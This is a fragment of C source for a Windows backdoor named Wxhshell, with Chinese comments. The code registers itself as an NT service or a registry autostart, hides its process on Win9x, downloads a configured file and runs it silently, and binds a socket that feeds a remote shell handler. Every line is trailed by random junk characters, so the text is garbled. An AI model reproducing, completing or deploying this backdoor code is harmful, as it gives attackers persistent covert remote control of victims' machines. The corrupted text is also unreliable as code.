DWORD BasePriority; \ n^[!e"`
ULONG UniqueProcessId; pFwJ:
ULONG InheritedFromUniqueProcessId; u!F\`Gfm_
} PROCESS_BASIC_INFORMATION; r_
B.bK
C=cn.CX
PROCNTQSIP NtQueryInformationProcess; ]?oJxW.
e-\/1N84
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3MKu!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ucU7
@j
N`N?1!fM<}
HANDLE hProcess; CQrP%}`r
PROCESS_BASIC_INFORMATION pbi; *W>, 98
Q1|zX@,
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PDCb(5
if(NULL == hInst ) return 0; Ze#DFe$
zn_#}}e;G
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uZ>q$
F
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *">CEQ[MT
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9d(#/n
C+5X8
if (!NtQueryInformationProcess) return 0; 3?L[ohKH?:
r
)_*MPY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {d0-.
if(!hProcess) return 0; 7y)Ar 8!D
cx&\oP
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kp}[nehF
uwZ,l-6T
CloseHandle(hProcess); >kmgYWG
niW"o-}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;$gV$KB:xA
if(hProcess==NULL) return 0; |_-w{2K
)& Oxp&x
HMODULE hMod; Fav++ z
char procName[255]; M5t.l (
unsigned long cbNeeded; *p#@W-:9E
[^6z>
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EN":}!E:
g;nLR<]
CloseHandle(hProcess); v2p0EOS
n"D` =
if(strstr(procName,"services")) return 1; // 以服务启动 =NI?Jk*iAq
fqq4Qc)#U&
return 0; // 注册表启动 hiA\~}sl n
} UL>2gl4s/
>w,jaQ
// 主模块 M+HhTW;I=
int StartWxhshell(LPSTR lpCmdLine) =l${p*ABQ
{ Wi>m}^}9
SOCKET wsl; %N`_g' r!
BOOL val=TRUE; z9g6%RbwX
int port=0; fiD,HGx
i
struct sockaddr_in door; SBs! 52
S_OtY]gF
if(wscfg.ws_autoins) Install(); BT_XqO
cL;%2TMk
port=atoi(lpCmdLine); HX}B#T
/93z3o7D>
if(port<=0) port=wscfg.ws_port; gH\>",[
@o^$/AE?
WSADATA data; n ]D io
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'd&d"E[
CV\y60n
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vTK8t:JQ~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }Bsh!3D<.
door.sin_family = AF_INET; #)twk`!^
door.sin_addr.s_addr = inet_addr("127.0.0.1"); X"r.*fb;N
door.sin_port = htons(port); DLqH*U
Vwh;QJxb
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bDJ!Fc/
closesocket(wsl); q1x[hv3
pP
return 1; ~9yKMUf
} tgi%#8ZDpz
vR2);ywX
if(listen(wsl,2) == INVALID_SOCKET) { r=vY-p
closesocket(wsl); 5$HG#2"Kb#
return 1; R9#ar{
} ~_N,zw{x
Wxhshell(wsl); bu_@A^ys
WSACleanup(); d,(q3
U1E@pDH
return 0; Fw{@RQf8
.35~+aqC
} ~ho,bwJM[T
{Bk` Zlki
// 以NT服务方式启动 k3@d
=k
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
<HN+pi
{ pI8z.JD
DWORD status = 0; Tj_K5uccU}
DWORD specificError = 0xfffffff; 8]`s&d@GY
GIc q|Pe
serviceStatus.dwServiceType = SERVICE_WIN32; yUpN`;
serviceStatus.dwCurrentState = SERVICE_START_PENDING; YI"!&a'yj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X';qcn_^
serviceStatus.dwWin32ExitCode = 0; #0uu19+}
serviceStatus.dwServiceSpecificExitCode = 0; jQ%1lQ#R)
serviceStatus.dwCheckPoint = 0; "5
~{
serviceStatus.dwWaitHint = 0; C,W_0=!e
A:GqR;;"x>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HJ]e%og
if (hServiceStatusHandle==0) return; 1Td`S1'#yg
+ZW>JjP*
status = GetLastError(); iQ8{N:58DN
if (status!=NO_ERROR) d v[.u{#tP
{ f:&JKB)N
serviceStatus.dwCurrentState = SERVICE_STOPPED; h@=@
fa
serviceStatus.dwCheckPoint = 0; 9"+MZ$
serviceStatus.dwWaitHint = 0; :f39)g5>
serviceStatus.dwWin32ExitCode = status; )V[j~uOU)]
serviceStatus.dwServiceSpecificExitCode = specificError; <Z 3C&BM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); DzE^FY
return; %%?}db1n
} 0|tyKP|J
QK0]9
serviceStatus.dwCurrentState = SERVICE_RUNNING; eZ]r"_?
serviceStatus.dwCheckPoint = 0; /*Q3=Dse]
serviceStatus.dwWaitHint = 0; X=)L$Kd7
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *<:X3|3E
} (_@5V_U
kwT)j(pp<
// 处理NT服务事件,比如:启动、停止 m[2[9bQ0
VOID WINAPI NTServiceHandler(DWORD fdwControl)
*~U.36
{ JWg.0d$hM
switch(fdwControl) fg#e*7Odn
{ uKM` umE
case SERVICE_CONTROL_STOP: {S9gOg
serviceStatus.dwWin32ExitCode = 0; ,
otXjz
serviceStatus.dwCurrentState = SERVICE_STOPPED; Ji9o0Y R
serviceStatus.dwCheckPoint = 0; $fD%18
serviceStatus.dwWaitHint = 0; -p)`o b-
{ nKr'cb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .u#Hg'o P
} wUr(i *
return; (UjaL@G
case SERVICE_CONTROL_PAUSE: yGt[Qvx#
serviceStatus.dwCurrentState = SERVICE_PAUSED; Ew
PJ|Z^
break; <_|@~^u
case SERVICE_CONTROL_CONTINUE: ?zutU w/m
serviceStatus.dwCurrentState = SERVICE_RUNNING; 36+/MvIT
break; R(^Sse
case SERVICE_CONTROL_INTERROGATE: x/M$_E<G
break; e4Y+u8gT
}; XA;PWl5!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R--s
u:
} '*rS,y
K g#Bg##
// 标准应用程序主函数 Tb?X KO,
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _$@fCo0
{ ineSo8| @
27c0wzq
// 获取操作系统版本 wk8fa
OsIsNt=GetOsVer(); kjV>\e
GetModuleFileName(NULL,ExeFile,MAX_PATH); VgYy7\?p
fDB.r$|d
// 从命令行安装 4C_1wk('
if(strpbrk(lpCmdLine,"iI")) Install(); 5!Y\STn
Wc+(xk
// 下载执行文件 ,~Xe#eM
if(wscfg.ws_downexe) { NR_3nt^h
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GiuE\J9i
WinExec(wscfg.ws_filenam,SW_HIDE); (EWGX |QA
} E`^D9:3:)
|&MoQxw@
if(!OsIsNt) { TK'
5NM+4
// 如果时win9x,隐藏进程并且设置为注册表启动 (VN'1a (
HideProc(); uuFQTx))
StartWxhshell(lpCmdLine); WeH_1$n5
} <>n|_6'$90
else 7ixG{yu
if(StartFromService()) kDmuj>D
// 以服务方式启动 vqf}(/.D
StartServiceCtrlDispatcher(DispatchTable); }[PwA[k'
else [3-u7Fx!
// 普通方式启动 &0Y
|pY
StartWxhshell(lpCmdLine); a-,*iK{_u
P8dMfD*"E
return 0; s,[I_IiPf
}